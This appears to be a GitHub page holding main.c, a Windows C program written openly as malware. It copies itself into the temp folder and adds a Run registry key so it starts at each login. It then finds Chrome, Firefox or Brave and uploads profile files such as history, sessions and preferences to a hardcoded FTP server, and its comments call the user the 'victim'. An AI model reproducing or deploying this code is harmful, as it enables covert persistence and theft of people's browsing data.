-
Notifications
You must be signed in to change notification settings - Fork 11
/
main.c
149 lines (140 loc) · 5.91 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <wininet.h>
//add feature that checks if history file is less than 5 bytes, if it is reset & look at the other browser
//uses all windows data types
int main() {
//copies file to %TMP%\ursakta.exe & adds reg key to execute
//ursakta.exe on each login
TCHAR tmp[MAX_PATH];
GetEnvironmentVariable("TEMP", tmp, MAX_PATH);
strcat_s(tmp, strlen(tmp)+strlen("\\ursakta.exe")+1, "\\ursakta.exe");
TCHAR ogfile[MAX_PATH];
GetModuleFileNameA(NULL, ogfile, MAX_PATH);
int cfreturn = CopyFile(ogfile, tmp, FALSE);
if (cfreturn != 0) {
printf("Success in copying!\n");
}
else {
printf("fail\n");
}
LPCTSTR subkey = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
HKEY hkey = NULL;
LPCTSTR keyname = TEXT("Ursakta");
LONG cstat = RegCreateKey(HKEY_CURRENT_USER, subkey, &hkey);
LONG sstat = RegSetValueEx(hkey, keyname, 0, REG_SZ, (LPBYTE)tmp, _tcslen(tmp) * sizeof(TCHAR));
//DWORD vcheck = 0;
PCHAR vbrowser = "n";
//char *vbrowser;
const PCHAR browsers[] = {"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Mozilla Firefox\\Firefox.exe", "C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"};
//checks if victim has browser, adds browser path to vbrowser
for (int i; i <= 2; i++){
if (GetFileVersionInfoSizeA(browsers[i], NULL) != 0) {
vbrowser = browsers[i];
break;
}
}
if (vbrowser == browsers[0]) {
PCHAR path = getenv("USERPROFILE");
PCHAR bpath = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\";
HW_PROFILE_INFO uvid;
WIN32_FIND_DATA location;
GetCurrentHwProfileA(&uvid);
strcat_s(path, strlen(path)+strlen(bpath)+1, bpath);
SetCurrentDirectoryA(path);
const PCHAR files[] = {"History", "Last Session", "Last Tabs", "Preferences"};
HINTERNET initial = InternetOpenA("ursakta", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET ftp = InternetConnectA(initial, "192.168.1.220", INTERNET_DEFAULT_FTP_PORT, "ftpsecure", "ftpsecure", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
if (FtpSetCurrentDirectoryA(ftp, uvid.szHwProfileGuid) == 0) {
FtpCreateDirectoryA(ftp, uvid.szHwProfileGuid);
FtpSetCurrentDirectoryA(ftp, uvid.szHwProfileGuid);
}
for (int i; i<=3; i++) {
FindFirstFileA(files[i], &location);
FtpPutFileA(ftp, location.cFileName, location.cFileName, FTP_TRANSFER_TYPE_BINARY, 0);
}
} else if (vbrowser == browsers[1]) {
PCHAR path = getenv("APPDATA");
PCHAR bpath = "\\Mozilla\\Firefox\\Profiles";
strcat_s(path, strlen(path)+strlen(bpath)+1, bpath);
CHAR currentdir[250];
//char currentdir[250];
//char *pathext = "\\*";
CHAR *pathext = "\\*";
WIN32_FIND_DATA location;
HW_PROFILE_INFO uvid;
SetCurrentDirectoryA(path);
GetCurrentDirectoryA(150, currentdir);
strcat_s(currentdir, strlen(currentdir)+strlen(pathext)+1, pathext);
GetCurrentHwProfileA(&uvid);
HINTERNET initial = InternetOpenA("ursakta", INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0);
HINTERNET ftp = InternetConnectA(initial, "192.168.1.220", INTERNET_DEFAULT_FTP_PORT, "ftpsecure", "ftpsecure", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
if (FtpSetCurrentDirectory(ftp, uvid.szHwProfileGuid) == 0){
FtpCreateDirectoryA(ftp, uvid.szHwProfileGuid);
FtpSetCurrentDirectory(ftp, uvid.szHwProfileGuid);
}
HANDLE filefinder1 = FindFirstFileA(currentdir, &location);
if (filefinder1 != INVALID_HANDLE_VALUE){
//avoiding .. & .. files
FindNextFile(filefinder1, &location);
FindNextFile(filefinder1, &location);
SetCurrentDirectoryA(location.cFileName);
GetCurrentDirectoryA(150, currentdir);
strcat_s(currentdir, strlen(currentdir)+strlen(pathext)+1, pathext);
HANDLE filefinder2 = FindFirstFileA(currentdir, &location);
do {
FtpPutFileA(ftp, location.cFileName, location.cFileName, FTP_TRANSFER_TYPE_BINARY, 0);
} while (FindNextFile(filefinder2, &location));
} else {
printf("Invalid file handle on FindFirstFile!\n");
}
} else if (vbrowser == browsers[2]) {
PCHAR path = getenv("USERPROFILE");
PCHAR bpath = "\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default";
strcat_s(path, strlen(path)+strlen(bpath)+1, bpath);
CHAR currentdir[250];
CHAR pathext[] = "\\*";
//char currentdir[250];
const PCHAR folders[] = {"Session Storage", "AutofillStrikeDatabase", "GPUCache"};
//char *pathext = "\\*";
WIN32_FIND_DATA location;
HW_PROFILE_INFO uvid;
SetCurrentDirectoryA(path);
GetCurrentDirectoryA(150, currentdir);
strcat_s(currentdir, strlen(currentdir)+strlen(pathext)+1, pathext);
GetCurrentHwProfileA(&uvid);
HINTERNET initial = InternetOpenA("ursakta", INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0);
HINTERNET ftp = InternetConnectA(initial, "192.168.1.220", INTERNET_DEFAULT_FTP_PORT, "ftpsecure", "ftpsecure", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
if (FtpSetCurrentDirectory(ftp, uvid.szHwProfileGuid) == 0){
FtpCreateDirectoryA(ftp, uvid.szHwProfileGuid);
FtpSetCurrentDirectory(ftp, uvid.szHwProfileGuid);
}
//char ftphomedir[100];
CHAR ftphomedir[100];
DWORD charcnt;
FtpGetCurrentDirectoryA(ftp, ftphomedir, &charcnt);
for (int i; i<=2; i++) {
if (FtpSetCurrentDirectory(ftp, folders[i]) == 0) {
FtpCreateDirectoryA(ftp, folders[i]);
} else {
FtpSetCurrentDirectoryA(ftp, ftphomedir);
}
}
HANDLE filefinder1 = FindFirstFileA(currentdir, &location);
if (filefinder1 != INVALID_HANDLE_VALUE){
//avoiding .. & .. files
FindNextFile(filefinder1, &location);
FindNextFile(filefinder1, &location);
SetCurrentDirectoryA(location.cFileName);
GetCurrentDirectoryA(150, currentdir);
strcat_s(currentdir, strlen(currentdir)+strlen(pathext)+1, pathext);
HANDLE filefinder2 = FindFirstFileA(currentdir, &location);
do {
FtpPutFileA(ftp, location.cFileName, location.cFileName, FTP_TRANSFER_TYPE_BINARY, 0);
} while (FindNextFile(filefinder2, &location));
}
} else {
MessageBox(0, "LUCK!", "You are luck!", MB_OK);
}
}